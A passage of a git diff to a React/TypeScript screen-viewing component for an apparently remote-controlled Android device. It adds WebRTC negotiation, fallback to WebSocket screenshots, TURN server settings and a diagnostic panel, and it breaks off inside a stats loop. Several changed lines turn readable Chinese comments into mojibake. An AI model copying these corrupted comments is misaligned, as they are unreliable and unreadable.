inboundFps: number + lossRate: number + lastReason: string + lastError: string + lastDeviceState: string + lastDeviceDetail: string + updatedAt: number + events: string[] +} + +const createWebRtcDebugState = (transport: VideoTransportMode): WebRtcDebugState => ({ + transport, + profileLabel: '-', + reconnectAttempts: 0, + weakNetworkStrike: 0, + stableNetworkStrike: 0, + queuedRemoteIce: 0, + localIceSent: 0, + remoteIceReceived: 0, + remoteIceApplied: 0, + connectionState: '-', + iceConnectionState: '-', + signalingState: '-', + inboundFps: 0, + lossRate: 0, + lastReason: '', + lastError: '', + lastDeviceState: '', + lastDeviceDetail: '', + updatedAt: Date.now(), + events: [] +}) + +const formatWebRtcDeviceDetail = (detail: any): string => { + if (!detail || typeof detail !== 'object') return '' + const detailObj = detail as Record + const entries: string[] = [] + if (typeof detailObj.phase === 'string' && detailObj.phase) entries.push(`phase=${detailObj.phase}`) + if (typeof detailObj.exceptionClass === 'string' && detailObj.exceptionClass) entries.push(`ex=${detailObj.exceptionClass}`) + if (typeof detailObj.exceptionMessage === 'string' && detailObj.exceptionMessage) entries.push(`msg=${detailObj.exceptionMessage}`) + if (typeof detailObj.permissionLike === 'boolean') entries.push(`permissionLike=${detailObj.permissionLike}`) + if (typeof detailObj.hasPermissionData === 'boolean') entries.push(`hasPermissionData=${detailObj.hasPermissionData}`) + if (typeof detailObj.hasProjectionObject === 'boolean') entries.push(`hasProjectionObject=${detailObj.hasProjectionObject}`) + + if (entries.length > 0) { + return entries.join(' | ') + } + + try { + return JSON.stringify(detailObj) + } catch { + return '' + } +} + +const shouldUseWsScreenshotFallback = (reason: string): boolean => { + const normalized = reason.trim().toLowerCase() + if (!normalized) return false + + // No MediaProjection permission on Android SRT uploader. + if (normalized.includes('media_projection_not_ready')) return true + if (normalized.includes('projection')) return true + if (normalized.includes('permission')) return true + return false +} + +const normalizeScreenDataBinArgs = (args: any[]): { deviceId: string, meta: any, frame: any } | null => { + if (!args.length) return null + + let emittedDeviceId = '' + let meta: any = {} + let frame: any = null + + if (typeof args[0] === 'string' && args.length >= 3) { + emittedDeviceId = args[0] + meta = args[1] ?? {} + frame = args[2] + } else if ( + args.length >= 2 && + args[0] && + typeof args[0] === 'object' && + !(args[0] instanceof Blob) && + !(args[0] instanceof ArrayBuffer) && + !ArrayBuffer.isView(args[0]) + ) { + meta = args[0] ?? {} + frame = args[1] + } else if (args.length === 1 && args[0] && typeof args[0] === 'object') { + const payload = args[0] + emittedDeviceId = typeof payload.deviceId === 'string' ? payload.deviceId : '' + meta = payload.meta ?? payload + frame = payload.frame ?? payload.data + } else { + return null + } + + const metaDeviceId = typeof meta?.deviceId === 'string' ? meta.deviceId : '' + const resolvedDeviceId = metaDeviceId || emittedDeviceId + if (!resolvedDeviceId) return null + + return { + deviceId: resolvedDeviceId, + meta: meta ?? {}, + frame + } +} + +const toBinaryFrameBlob = (frame: any, mimeType: string): Blob | null => { + if (!frame) return null + + if (frame instanceof Blob) return frame + if (frame instanceof ArrayBuffer) return new Blob([frame], { type: mimeType }) + if (ArrayBuffer.isView(frame)) return new Blob([frame], { type: mimeType }) + if (frame?.type === 'Buffer' && Array.isArray(frame.data)) return new Blob([new Uint8Array(frame.data)], { type: mimeType }) + if (Array.isArray(frame)) return new Blob([new Uint8Array(frame)], { type: mimeType }) + + return null +} + +const normalizeSdpLineEndings = (sdp: string): string => { + if (!sdp) return '' + const lines = sdp + .replace(/\r\n/g, '\n') + .replace(/\r/g, '\n') + .split('\n') + .map((line) => line.trimEnd()) + .filter((line) => line.length > 0) + if (!lines.length) return '' + return `${lines.join('\r\n')}\r\n` +} + +const buildAndroidCompatOfferSdp = (sdp: string): { sdp: string, changed: boolean } => { + const normalized = normalizeSdpLineEndings(sdp) + if (!normalized) return { sdp: normalized, changed: false } + const lines = normalized.split('\r\n').filter(Boolean) + const rewritten: string[] = [] + let changed = false + + for (const line of lines) { + const lower = line.toLowerCase() + if (lower === 'a=extmap-allow-mixed' || lower === 'a=rtcp-rsize') { + changed = true + continue + } + if (lower.startsWith('a=ice-options:')) { + const options = line + .slice('a=ice-options:'.length) + .trim() + .split(/\s+/) + .filter((item) => item && item.toLowerCase() !== 'renomination') + const rewrittenLine = options.length ? `a=ice-options:${options.join(' ')}` : '' + if (rewrittenLine !== line) changed = true + if (rewrittenLine) rewritten.push(rewrittenLine) + continue + } + rewritten.push(line) + } + + const compat = rewritten.length ? `${rewritten.join('\r\n')}\r\n` : normalized + return { + sdp: compat, + changed: changed || compat !== normalized + } +} + /** - * 设备屏幕显示组件 + * 璁惧灞忓箷鏄剧ず缁勪欢 */ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChange }) => { // const dispatch = useDispatch() const canvasRef = useRef(null) + const srtVideoRef = useRef(null) const fullscreenContainerRef = useRef(null) const [isLoading, setIsLoading] = useState(true) const [imageSize, setImageSize] = useState<{ width: number, height: number } | null>(null) const [isFullscreen, setIsFullscreen] = useState(false) + const [videoTransport, setVideoTransport] = useState( + FORCE_WS_VIDEO_ONLY ? 'ws_binary' : DEFAULT_VIDEO_TRANSPORT + ) + const videoTransportRef = useRef( + FORCE_WS_VIDEO_ONLY ? 'ws_binary' : DEFAULT_VIDEO_TRANSPORT + ) + const [videoSessionMode, setVideoSessionMode] = useState(DEFAULT_VIDEO_SESSION_MODE) + const videoSessionModeRef = useRef(DEFAULT_VIDEO_SESSION_MODE) + const [srtStatusText, setSrtStatusText] = useState('') + const srtProfileLabel = 'WebRTC' + const webrtcPeerRef = useRef(null) + const webrtcRemoteStreamRef = useRef(null) + const pendingRemoteCandidatesRef = useRef([]) + const webrtcConnectedRef = useRef(false) + const webrtcLowFpsStrikeRef = useRef(0) - // FPS 计算:使用滑动窗口统计真实帧率 + // FPS 璁$畻锛氫娇鐢ㄦ粦鍔ㄧ獥鍙g粺璁$湡瀹炲抚鐜? const fpsFrameTimesRef = useRef([]) const [displayFps, setDisplayFps] = useState(0) const lastFpsUpdateRef = useRef(0) - // 帧渲染控制:只保留最新帧,用 rAF 驱动渲染 + // 甯ф覆鏌撴帶鍒讹細鍙繚鐣欐渶鏂板抚锛岀�?rAF 椹卞姩娓叉煋 const latestFrameRef = useRef(null) const rafIdRef = useRef(0) const isRenderingRef = useRef(false) const imageSizeRef = useRef<{ width: number, height: number } | null>(null) - // canvas锁定尺寸:取历史最大帧尺寸锁定, - // 避免不同采集模式(MediaProjection/无障碍截图)帧尺寸不一致导致闪烁 + // canvas閿佸畾灏哄锛氬彇鍘嗗彶鏈€澶у抚灏哄閿佸畾�? + // 閬垮厤涓嶅悓閲囬泦妯″紡(MediaProjection/鏃犻殰纰嶆埅�?甯у昂瀵镐笉涓€鑷村鑷撮棯鐑? const lockedCanvasSizeRef = useRef<{ width: number, height: number } | null>(null) - // Base64预解码缓存:将base64字符串提前转为Blob,避免渲染时阻塞主线程 + // Base64棰勮В鐮佺紦瀛橈細灏哹ase64瀛楃涓叉彁鍓嶈浆涓築lob锛岄伩鍏嶆覆鏌撴椂闃诲涓荤嚎绋? const pendingBlobRef = useRef(null) - // 添加控制权状态跟踪,避免重复申请 + // 娣诲姞鎺у埗鏉冪姸鎬佽窡韪紝閬垮厤閲嶅鐢宠�? const [isControlRequested, setIsControlRequested] = useState(false) const [currentWebSocket, setCurrentWebSocket] = useState(null) const [lastControlRequestTime, setLastControlRequestTime] = useState(0) + const [webrtcTurnUrls, setWebrtcTurnUrls] = useState('') + const [webrtcTurnUsername, setWebrtcTurnUsername] = useState('') + const [webrtcTurnPassword, setWebrtcTurnPassword] = useState('') const { webSocket } = useSelector((state: RootState) => state.connection) const { connectedDevices } = useSelector((state: RootState) => state.devices) const { screenDisplay, operationEnabled } = useSelector((state: RootState) => state.ui) + const exposurePercent = Math.max(30, Math.min(200, Math.round(Number(screenDisplay?.exposure ?? 100) || 100))) + const exposureFilter = `brightness(${(exposurePercent / 100).toFixed(2)})` const device = connectedDevices.find(d => d.id === deviceId) + const deviceTurnUrls = String((device as any)?.webrtcTurnUrls || '').trim() + const deviceTurnUsername = String((device as any)?.webrtcTurnUsername || '').trim() + const deviceTurnPassword = String((device as any)?.webrtcTurnPassword || '').trim() + const deviceSupportsWebRtc = (() => { + const transports = Array.isArray((device as any)?.supportedVideoTransports) + ? ((device as any).supportedVideoTransports as unknown[]) + : [] + if (!transports.length) return true + return transports.some((item) => typeof item === 'string' && item.toLowerCase() === 'webrtc') + })() - // 画质控制状态 + // 鐢昏川鎺у埗鐘舵€? const [currentProfile, setCurrentProfile] = useState('medium') const [showQualityPanel, setShowQualityPanel] = useState(false) + const [showWebRtcDebugPanel, setShowWebRtcDebugPanel] = useState(false) const [networkStats, setNetworkStats] = useState({ fps: 0, dropRate: 0, avgFrameSize: 0 }) + const [webrtcDebug, setWebrtcDebug] = useState(() => + createWebRtcDebugState(FORCE_WS_VIDEO_ONLY ? 'ws_binary' : DEFAULT_VIDEO_TRANSPORT) + ) + const [webrtcCopyStatus, setWebrtcCopyStatus] = useState('') const frameCountRef = useRef(0) const droppedFrameCountRef = useRef(0) const feedbackTimerRef = useRef(0) const lastFeedbackTimeRef = useRef(0) + const copyStatusTimerRef = useRef(0) + const projectionPermissionRetryTimerRef = useRef(0) + const lastProjectionRefreshRequestTimeRef = useRef(0) - // 安全地通知父组件屏幕尺寸变化(在 useEffect 中而非渲染期间) + const updateWebRtcDebug = useCallback((patch: Partial, event?: string) => { + setWebrtcDebug((prev) => { + const nextUpdatedAt = Date.now() + const next: WebRtcDebugState = { + ...prev, + ...patch, + updatedAt: nextUpdatedAt + } + if (event) { + const time = new Date(nextUpdatedAt).toISOString().slice(11, 19) + next.events = [`${time} ${event}`, ...prev.events].slice(0, WEBRTC_DEBUG_EVENT_LIMIT) + } + return next + }) + }, []) + + const pushWebRtcDebugEvent = useCallback((event: string) => { + updateWebRtcDebug({}, event) + }, [updateWebRtcDebug]) + + const buildWebRtcDiagnosisHints = useCallback((debug: WebRtcDebugState): string[] => { + const hints: string[] = [] + const lowerReason = debug.lastReason.toLowerCase() + const lowerError = debug.lastError.toLowerCase() + const hasProjectionIssue = + lowerReason.includes('projection') || + lowerReason.includes('permission') || + lowerError.includes('projection') || + lowerError.includes('permission') + + if (debug.transport !== 'webrtc') { + hints.push('当前视频通道已回退到 WS 截图流,WebRTC 未在工作。') + } + + if (debug.connectionState === 'connecting' && debug.signalingState === 'have-local-offer') { + hints.push('连接卡在 have-local-offer,优先检查服务端是否收到 offer 并回传 answer。') + } + + if (!hasProjectionIssue && debug.localIceSent > 0 && debug.remoteIceReceived === 0) { + hints.push('本地 ICE 已发送但远端 ICE 未收到,优先检查 signaling 转发和 device 端候选上报。') + } + + if (debug.remoteIceReceived > 0 && debug.remoteIceApplied === 0) { + hints.push('远端 ICE 已收到但未应用,可能是 remoteDescription 未设置成功。') + } + + if (debug.connectionState === 'failed' || debug.iceConnectionState === 'failed') { + hints.push('ICE/PeerConnection 已 failed,建议先在同局域网只保留 host candidate 验证链路。') + } + + if (debug.reconnectAttempts >= WEBRTC_MAX_RECONNECT_ATTEMPTS) { + hints.push('重试次数已到上限,建议先看最后一次 error/reason 再决定是修 signaling 还是修权限。') + } + + if (debug.lossRate > 0.15) { + hints.push('实时丢包超过 15%,弱网明显,建议优先降低码率和帧率。') + } + + if (debug.inboundFps > 0 && debug.inboundFps < 10) { + hints.push('inbound FPS 偏低,当前更像“可连通但传输质量差”。') + } + + if (hasProjectionIssue) { + hints.push('日志命中投屏/权限关键字,先确认 Android 端 MediaProjection 授权链路。') + } + + if (!hints.length) { + hints.push('未检测到明显单点故障,请结合事件时间线和 server/device 日志继续定位。') + } + + return hints + }, []) + + const setCopyStatusWithAutoClear = useCallback((statusText: string) => { + setWebrtcCopyStatus(statusText) + if (copyStatusTimerRef.current) { + clearTimeout(copyStatusTimerRef.current) + copyStatusTimerRef.current = 0 + } + copyStatusTimerRef.current = window.setTimeout(() => { + setWebrtcCopyStatus('') + copyStatusTimerRef.current = 0 + }, 3500) + }, []) + + const copyTextToClipboard = useCallback(async (text: string): Promise => { + if (!text) return false + try { + if (navigator?.clipboard?.writeText) { + await navigator.clipboard.writeText(text) + return true + } + } catch { + // fallback + } + + try { + const textArea = document.createElement('textarea') + textArea.value = text + textArea.style.position = 'fixed' + textArea.style.left = '-9999px' + textArea.style.top = '0' + textArea.setAttribute('readonly', 'true') + document.body.appendChild(textArea) + textArea.focus() + textArea.select() + const copied = document.execCommand('copy') + document.body.removeChild(textArea) + return copied + } catch { + return false + } + }, []) + + const buildWebRtcDiagnosticReport = useCallback(() => { + const nowIso = new Date().toISOString() + const hints = buildWebRtcDiagnosisHints(webrtcDebug) + const eventsText = webrtcDebug.events.length > 0 ? webrtcDebug.events.join('\n') : '(empty)' + const lines: string[] = [ + '=== WebRTC Diagnostic Report ===', + `time: ${nowIso}`, + `deviceId: ${deviceId}`, + `page: ${typeof window !== 'undefined' ? window.location.href : '-'}`, + `userAgent: ${typeof navigator !== 'undefined' ? navigator.userAgent : '-'}`, + '', + '[Transport]', + `sessionMode: ${videoSessionMode}`, + `videoTransport: ${videoTransport}`, + `statusText: ${srtStatusText || '-'}`, + '', + '[WebRTC Runtime]', + `profileLabel: ${webrtcDebug.profileLabel}`, + `connectionState: ${webrtcDebug.connectionState}`, + `iceConnectionState: ${webrtcDebug.iceConnectionState}`, + `signalingState: ${webrtcDebug.signalingState}`, + `reconnectAttempts: ${webrtcDebug.reconnectAttempts}/${WEBRTC_MAX_RECONNECT_ATTEMPTS}`, + `weakNetworkStrike: ${webrtcDebug.weakNetworkStrike}`, + `stableNetworkStrike: ${webrtcDebug.stableNetworkStrike}`, + `localIceSent: ${webrtcDebug.localIceSent}`, + `remoteIceReceived: ${webrtcDebug.remoteIceReceived}`, + `remoteIceApplied: ${webrtcDebug.remoteIceApplied}`, + `queuedRemoteIce: ${webrtcDebug.queuedRemoteIce}`, + `inboundFps: ${webrtcDebug.inboundFps.toFixed(1)}`, + `lossRate: ${(webrtcDebug.lossRate * 100).toFixed(2)}%`, + `displayFps: ${displayFps}`, + `wsDropRate: ${(networkStats.dropRate * 100).toFixed(2)}%`, + `lastReason: ${webrtcDebug.lastReason || '-'}`, + `lastError: ${webrtcDebug.lastError || '-'}`, + `lastDeviceState: ${webrtcDebug.lastDeviceState || '-'}`, + `lastDeviceDetail: ${webrtcDebug.lastDeviceDetail || '-'}`, + `updatedAt: ${Number.isFinite(webrtcDebug.updatedAt) ? new Date(webrtcDebug.updatedAt).toISOString() : '-'}`, + '', + '[Auto Diagnosis]', + ...hints.map((hint, index) => `${index + 1}. ${hint}`), + '', + '[Events]', + eventsText + ] + return lines.join('\n') + }, [ + buildWebRtcDiagnosisHints, + webrtcDebug, + deviceId, + videoSessionMode, + videoTransport, + srtStatusText, + displayFps, + networkStats.dropRate + ]) + + const handleCopyWebRtcReport = useCallback(async () => { + const report = buildWebRtcDiagnosticReport() + const copied = await copyTextToClipboard(report) + if (copied) { + setCopyStatusWithAutoClear('诊断报告已复制') + pushWebRtcDebugEvent('report_copied') + return + } + setCopyStatusWithAutoClear('复制失败,请手动复制下方文本') + pushWebRtcDebugEvent('report_copy_failed') + }, [buildWebRtcDiagnosticReport, copyTextToClipboard, setCopyStatusWithAutoClear, pushWebRtcDebugEvent]) + + const handleCopyWebRtcEvents = useCallback(async () => { + const eventsText = webrtcDebug.events.length > 0 ? webrtcDebug.events.join('\n') : '(empty)' + const copied = await copyTextToClipboard(eventsText) + if (copied) { + setCopyStatusWithAutoClear('事件日志已复制') + pushWebRtcDebugEvent('events_copied') + return + } + setCopyStatusWithAutoClear('复制失败,请手动复制下方文本') + pushWebRtcDebugEvent('events_copy_failed') + }, [webrtcDebug.events, copyTextToClipboard, setCopyStatusWithAutoClear, pushWebRtcDebugEvent]) + + const handleClearWebRtcEvents = useCallback(() => { + setWebrtcDebug((prev) => ({ + ...prev, + events: [], + updatedAt: Date.now() + })) + setCopyStatusWithAutoClear('事件日志已清空') + }, [setCopyStatusWithAutoClear]) + + const clearProjectionPermissionRetryTimer = useCallback(() => { + if (projectionPermissionRetryTimerRef.current) { + clearTimeout(projectionPermissionRetryTimerRef.current) + projectionPermissionRetryTimerRef.current = 0 + } + }, []) + + const requestMediaProjectionRefreshFromWeb = useCallback((reason: string) => { + if (!WEBRTC_AUTO_PROJECTION_RECOVERY_ENABLED) return + if (!webSocket || !deviceId) return + const now = Date.now() + if (now - lastProjectionRefreshRequestTimeRef.current < MEDIA_PROJECTION_REFRESH_COOLDOWN_MS) { + return + } + lastProjectionRefreshRequestTimeRef.current = now + webSocket.emit('control_message', { + type: 'REFRESH_MEDIA_PROJECTION_MANUAL', + deviceId, + data: { + source: 'webrtc_auto_recover', + reason + }, + timestamp: now + }) + updateWebRtcDebug({ + lastReason: `projection_refresh_requested:${reason}` + }, `projection_refresh_requested:${reason}`) + }, [webSocket, deviceId, updateWebRtcDebug]) + + const scheduleMediaProjectionAutoRetry = useCallback((reason: string) => { + if (!WEBRTC_AUTO_PROJECTION_RECOVERY_ENABLED || !WEBRTC_AUTO_RECONNECT_ENABLED) return + clearProjectionPermissionRetryTimer() + projectionPermissionRetryTimerRef.current = window.setTimeout(() => { + projectionPermissionRetryTimerRef.current = 0 + if (videoTransportRef.current !== 'ws_binary') return + setSrtStatusText('WebRTC retrying after projection permission request...') + setIsLoading(true) + setVideoTransport('webrtc') + updateWebRtcDebug({ + transport: 'webrtc', + lastReason: `projection_retry:${reason}` + }, `projection_retry:${reason}`) + }, MEDIA_PROJECTION_AUTORETRY_DELAY_MS) + }, [clearProjectionPermissionRetryTimer, updateWebRtcDebug]) + + useEffect(() => { + videoTransportRef.current = videoTransport + updateWebRtcDebug({ transport: videoTransport }) + }, [videoTransport, updateWebRtcDebug]) + + useEffect(() => { + videoSessionModeRef.current = videoSessionMode + if (typeof window === 'undefined') return + window.dispatchEvent(new CustomEvent('remote-control:video-mode-changed', { + detail: { + deviceId, + mode: videoSessionMode, + transport: videoTransportRef.current, + timestamp: Date.now() + } + })) + }, [deviceId, videoSessionMode]) + + useEffect(() => { + const initialTransport: VideoTransportMode = FORCE_WS_VIDEO_ONLY ? 'ws_binary' : DEFAULT_VIDEO_TRANSPORT + setWebrtcDebug(createWebRtcDebugState(initialTransport)) + }, [deviceId, webSocket]) + + useEffect(() => { + return () => { + if (copyStatusTimerRef.current) { + clearTimeout(copyStatusTimerRef.current) + copyStatusTimerRef.current = 0 + } + if (projectionPermissionRetryTimerRef.current) { + clearTimeout(projectionPermissionRetryTimerRef.current) + projectionPermissionRetryTimerRef.current = 0 + } + } + }, []) + + useEffect(() => { + if (!webSocket) return + + const handleCapabilities = (payload: any) => { + if (typeof payload?.webrtcTurnUrls === 'string') { + setWebrtcTurnUrls(payload.webrtcTurnUrls.trim()) + } + if (typeof payload?.webrtcTurnUsername === 'string') { + setWebrtcTurnUsername(payload.webrtcTurnUsername.trim()) + } + if (typeof payload?.webrtcTurnPassword === 'string') { + setWebrtcTurnPassword(payload.webrtcTurnPassword.trim()) + } + } + + webSocket.on('server_capabilities', handleCapabilities) + return () => { + webSocket.off('server_capabilities', handleCapabilities) + } + }, [webSocket]) + + const buildIceServers = useCallback((): RTCIceServer[] => { + const iceServers: RTCIceServer[] = [{ urls: ['stun:stun.l.google.com:19302'] }] + const turnUrlsRaw = (webrtcTurnUrls || deviceTurnUrls).trim() + if (!turnUrlsRaw) return iceServers + + const urls = turnUrlsRaw + .split(/[,\s;]+/) + .map((item) => item.trim()) + .filter(Boolean) + if (!urls.length) return iceServers + + const username = (webrtcTurnUsername || deviceTurnUsername).trim() + const credential = (webrtcTurnPassword || deviceTurnPassword).trim() + + const turnServer: RTCIceServer = { urls } + if (username) turnServer.username = username + if (credential) turnServer.credential = credential + iceServers.push(turnServer) + return iceServers + }, [webrtcTurnUrls, webrtcTurnUsername, webrtcTurnPassword, deviceTurnUrls, deviceTurnUsername, deviceTurnPassword]) + + const closeWebRtcSession = useCallback((opts?: { emitStop?: boolean, reason?: string }) => { + const emitStop = opts?.emitStop === true + const reason = opts?.reason || 'webrtc_cleanup' + + if (emitStop && webSocket && deviceId) { + webSocket.emit('webrtc_stop', { + deviceId, + reason, + timestamp: Date.now() + }) + } + + const pc = webrtcPeerRef.current + webrtcPeerRef.current = null + if (pc) { + try { + pc.ontrack = null + pc.onicecandidate = null + pc.oniceconnectionstatechange = null + pc.onconnectionstatechange = null + pc.getSenders().forEach((sender) => { + try { + sender.track?.stop() + } catch { + // ignore + } + }) + pc.close() + } catch (error) { + console.warn('Close WebRTC peer failed', error) + } + } + + if (webrtcRemoteStreamRef.current) { + try { + webrtcRemoteStreamRef.current.getTracks().forEach((track) => track.stop()) + } catch { + // ignore + } + } + webrtcRemoteStreamRef.current = null + pendingRemoteCandidatesRef.current = [] + webrtcConnectedRef.current = false + updateWebRtcDebug({ + queuedRemoteIce: 0, + connectionState: 'closed', + iceConnectionState: 'closed', + signalingState: 'closed', + lastReason: reason + }, `session_close:${reason}`) + + const videoElement = srtVideoRef.current + if (videoElement && videoElement.srcObject) { + videoElement.srcObject = null + } + }, [webSocket, deviceId, updateWebRtcDebug]) + + const fallbackToWsTransport = useCallback((reason: string, emitStop: boolean = false) => { + if (videoTransportRef.current === 'webrtc') { + closeWebRtcSession({ emitStop, reason }) + } + + const allowWsFallback = FORCE_WS_VIDEO_ONLY || WS_VIDEO_FALLBACK_ENABLED || shouldUseWsScreenshotFallback(reason) + if (allowWsFallback) { + const normalizedReason = reason.trim().toLowerCase() + const manualWsReason = normalizedReason.startsWith('manual_') || normalizedReason.includes('device_or_socket_changed') + setVideoTransport('ws_binary') + setVideoSessionMode(manualWsReason ? 'ws_default' : 'fallback_ws') + setIsLoading(false) + updateWebRtcDebug({ + transport: 'ws_binary', + lastReason: reason + }, `fallback_ws:${reason}`) + const fallbackHint = shouldUseWsScreenshotFallback(reason) + ? 'WebRTC unavailable, switched to screenshot fallback' + : 'WebRTC fallback' + setSrtStatusText(reason ? `${fallbackHint}: ${reason}` : fallbackHint) + return + } + + setVideoTransport('webrtc') + setVideoSessionMode('webrtc_boost') + setIsLoading(false) + updateWebRtcDebug({ + transport: 'webrtc', + lastReason: reason + }, `stay_webrtc:${reason}`) + setSrtStatusText(reason ? `WebRTC unavailable: ${reason}` : 'WebRTC unavailable') + }, [closeWebRtcSession, updateWebRtcDebug]) + + useEffect(() => { + closeWebRtcSession({ emitStop: false, reason: 'device_or_socket_changed' }) + clearProjectionPermissionRetryTimer() + setVideoTransport(FORCE_WS_VIDEO_ONLY ? 'ws_binary' : DEFAULT_VIDEO_TRANSPORT) + setVideoSessionMode(DEFAULT_VIDEO_SESSION_MODE) + setSrtStatusText(FORCE_WS_VIDEO_ONLY ? 'WS-only video mode' : 'WS screenshot mode (default)') + setIsLoading(true) + fpsFrameTimesRef.current = [] + setDisplayFps(0) + }, [deviceId, webSocket, closeWebRtcSession, clearProjectionPermissionRetryTimer]) + + useEffect(() => { + if (typeof window === 'undefined') return + const handleOverclockMode = (event: Event) => { + const customEvent = event as CustomEvent<{ deviceId?: string }> + if (!customEvent.detail?.deviceId || customEvent.detail.deviceId !== deviceId) return + if (FORCE_WS_VIDEO_ONLY) return + if (!deviceSupportsWebRtc) { + setSrtStatusText('Device does not support WebRTC overclock mode') + return + } + if (webSocket) { + webSocket.emit('control_message', { + type: 'REFRESH_MEDIA_PROJECTION_MANUAL', + deviceId, + data: { + source: 'manual_overclock_mode', + reason: 'manual_overclock_mode' + }, + timestamp: Date.now() + }) + } + clearProjectionPermissionRetryTimer() + setVideoTransport('webrtc') + setVideoSessionMode('webrtc_boost') + setIsLoading(true) + setSrtStatusText('Overclock mode negotiating WebRTC...') + updateWebRtcDebug({ + transport: 'webrtc', + lastReason: 'manual_overclock_mode' + }, 'manual_overclock_mode') + } + + const handleWsDefaultMode = (event: Event) => { + const customEvent = event as CustomEvent<{ deviceId?: string }> + if (!customEvent.detail?.deviceId || customEvent.detail.deviceId !== deviceId) return + fallbackToWsTransport('manual_exit_boost', true) + setVideoSessionMode('ws_default') + setSrtStatusText('WS screenshot mode (manual)') + } + + window.addEventListener('remote-control:overclock-mode', handleOverclockMode as EventListener) + window.addEventListener('remote-control:ws-default-mode', handleWsDefaultMode as EventListener) + return () => { + window.removeEventListener('remote-control:overclock-mode', handleOverclockMode as EventListener) + window.removeEventListener('remote-control:ws-default-mode', handleWsDefaultMode as EventListener) + } + }, [deviceId, deviceSupportsWebRtc, webSocket, clearProjectionPermissionRetryTimer, fallbackToWsTransport, updateWebRtcDebug]) + + // 瀹夊叏鍦伴€氱煡鐖剁粍浠跺睆骞曞昂瀵稿彉鍖栵紙�?useEffect 涓€岄潪娓叉煋鏈熼棿锛? useEffect(() => { if (imageSize && onScreenSizeChange) { onScreenSizeChange(imageSize) } }, [imageSize, onScreenSizeChange]) - // 画质反馈:定期向服务端报告网络质量 + // 鐢昏川鍙嶉锛氬畾鏈熷悜鏈嶅姟绔姤鍛婄綉缁滆川�? useEffect(() => { - if (!webSocket || !deviceId) return + if (!webSocket || !deviceId || videoTransport !== 'ws_binary') return const sendFeedback = () => { const now = Date.now() - if (now - lastFeedbackTimeRef.current < 3000) return // 3秒发一次 + if (now - lastFeedbackTimeRef.current < 3000) return // 3绉掑彂涓€娆? lastFeedbackTimeRef.current = now const totalFrames = frameCountRef.current @@ -94,14 +823,14 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang setNetworkStats({ fps, dropRate, avgFrameSize: 0 }) - // 重置计数 + // 閲嶇疆璁℃暟 frameCountRef.current = 0 droppedFrameCountRef.current = 0 } feedbackTimerRef.current = window.setInterval(sendFeedback, 3000) - // 监听服务端画质变更通知 + // 鐩戝惉鏈嶅姟绔敾璐ㄥ彉鏇撮€氱�? const handleQualityChanged = (data: any) => { if (data.deviceId === deviceId) { if (data.profile) setCurrentProfile(data.profile) @@ -113,45 +842,831 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang if (feedbackTimerRef.current) clearInterval(feedbackTimerRef.current) webSocket.off('quality_changed', handleQualityChanged) } - }, [webSocket, deviceId, displayFps]) + }, [webSocket, deviceId, displayFps, videoTransport]) - // 切换画质档位 + useEffect(() => { + if (!webSocket || !deviceId) return + if (videoTransport !== 'webrtc') return + if (FORCE_WS_VIDEO_ONLY) { + setVideoTransport('ws_binary') + setVideoSessionMode('ws_default') + setIsLoading(false) + setSrtStatusText('WS binary video mode (WebRTC disabled)') + updateWebRtcDebug({ + transport: 'ws_binary', + lastReason: 'force_ws_video_only' + }, 'force_ws_video_only') + return + } + if (!deviceSupportsWebRtc) { + setVideoTransport('ws_binary') + setVideoSessionMode('ws_default') + setIsLoading(false) + setSrtStatusText( + 'WebRTC unavailable on this device, using WS screenshot fallback' + ) + updateWebRtcDebug({ + transport: 'ws_binary', + lastReason: 'device_not_support_webrtc' + }, 'device_not_support_webrtc') + return + } + if (typeof window === 'undefined' || typeof window.RTCPeerConnection !== 'function') { + updateWebRtcDebug({ + lastReason: 'browser_no_rtc_support' + }, 'browser_no_rtc_support') + fallbackToWsTransport('browser_no_rtc_support', false) + return + } + + let disposed = false + let connectTimeoutId = 0 + let statsTimerId = 0 + let disconnectGraceTimerId = 0 + let initialStartTimerId = 0 + let restartCooldownTimerId = 0 + let startInProgress = false + let adaptiveInProgress = false + let reconnectAttempts = 0 + let profileIndex = 0 + let weakNetworkStrike = 0 + let stableNetworkStrike = 0 + let localIceSent = 0 + let remoteIceReceived = 0 + let remoteIceApplied = 0 + let lastRestartAt = 0 + updateWebRtcDebug({ + transport: 'webrtc', + profileLabel: WEBRTC_PROFILES[profileIndex]?.label || '-', + reconnectAttempts, + weakNetworkStrike, + stableNetworkStrike, + queuedRemoteIce: 0, + localIceSent, + remoteIceReceived, + remoteIceApplied, + lastReason: 'webrtc_effect_started', + lastError: '' + }, 'webrtc_effect_started') + + const clearRuntimeTimers = () => { + if (connectTimeoutId) { + clearTimeout(connectTimeoutId) + connectTimeoutId = 0 + } + if (statsTimerId) { + clearInterval(statsTimerId) + statsTimerId = 0 + } + if (disconnectGraceTimerId) { + clearTimeout(disconnectGraceTimerId) + disconnectGraceTimerId = 0 + } + if (initialStartTimerId) { + clearTimeout(initialStartTimerId) + initialStartTimerId = 0 + } + if (restartCooldownTimerId) { + clearTimeout(restartCooldownTimerId) + restartCooldownTimerId = 0 + } + } + + const armConnectTimeout = () => { + if (connectTimeoutId) clearTimeout(connectTimeoutId) + connectTimeoutId = window.setTimeout(() => { + if (disposed) return + if (videoTransportRef.current !== 'webrtc') return + if (webrtcConnectedRef.current) return + pushWebRtcDebugEvent('connect_timeout') + void maybeDowngradeOrReconnect('connect_timeout') + }, WEBRTC_CONNECT_TIMEOUT_MS) + } + + const startStatsLoop = () => { + if (statsTimerId) clearInterval(statsTimerId) + statsTimerId = window.setInterval(async () => { + if (disposed) return + if (videoTransportRef.current !== 'webrtc') return + const pc = webrtcPeerRef.current + if (!pc || pc.connectionState !== 'connected') return + + try { + const report = await pc.getStats() + let inboundFps = 0 + let packetsLost = 0 + let packetsReceived = 0 + + report.forEach((item: any) => { + if (item?.type !== 'inbound-rtp') return + if (item?.kind !== 'video' && item?.mediaType !== 'video') return + + const fps = Number(item?.framesPerSecond || 0) + if (Number.isFinite(fps) && fps > 0) inboundFps = Math.max(inboundFps, fps) + + const lost = Number(item?.packetsLost || 0) + if (Number.isFinite(lost) && lost >= 0) packetsLost += lost + + const received = Number(item?.packetsReceived || 0) + if (Number.isFinite(received) && received >= 0) packetsReceived += received + }) + + const totalPackets = packetsLost + packetsReceived + const lossRate = totalPackets > 0 ? packetsLost / totalPackets : 0 + + if (lossRate > 0.12 || (inboundFps > 0 && inboundFps < 12)) { + weakNetworkStrike += 1 + 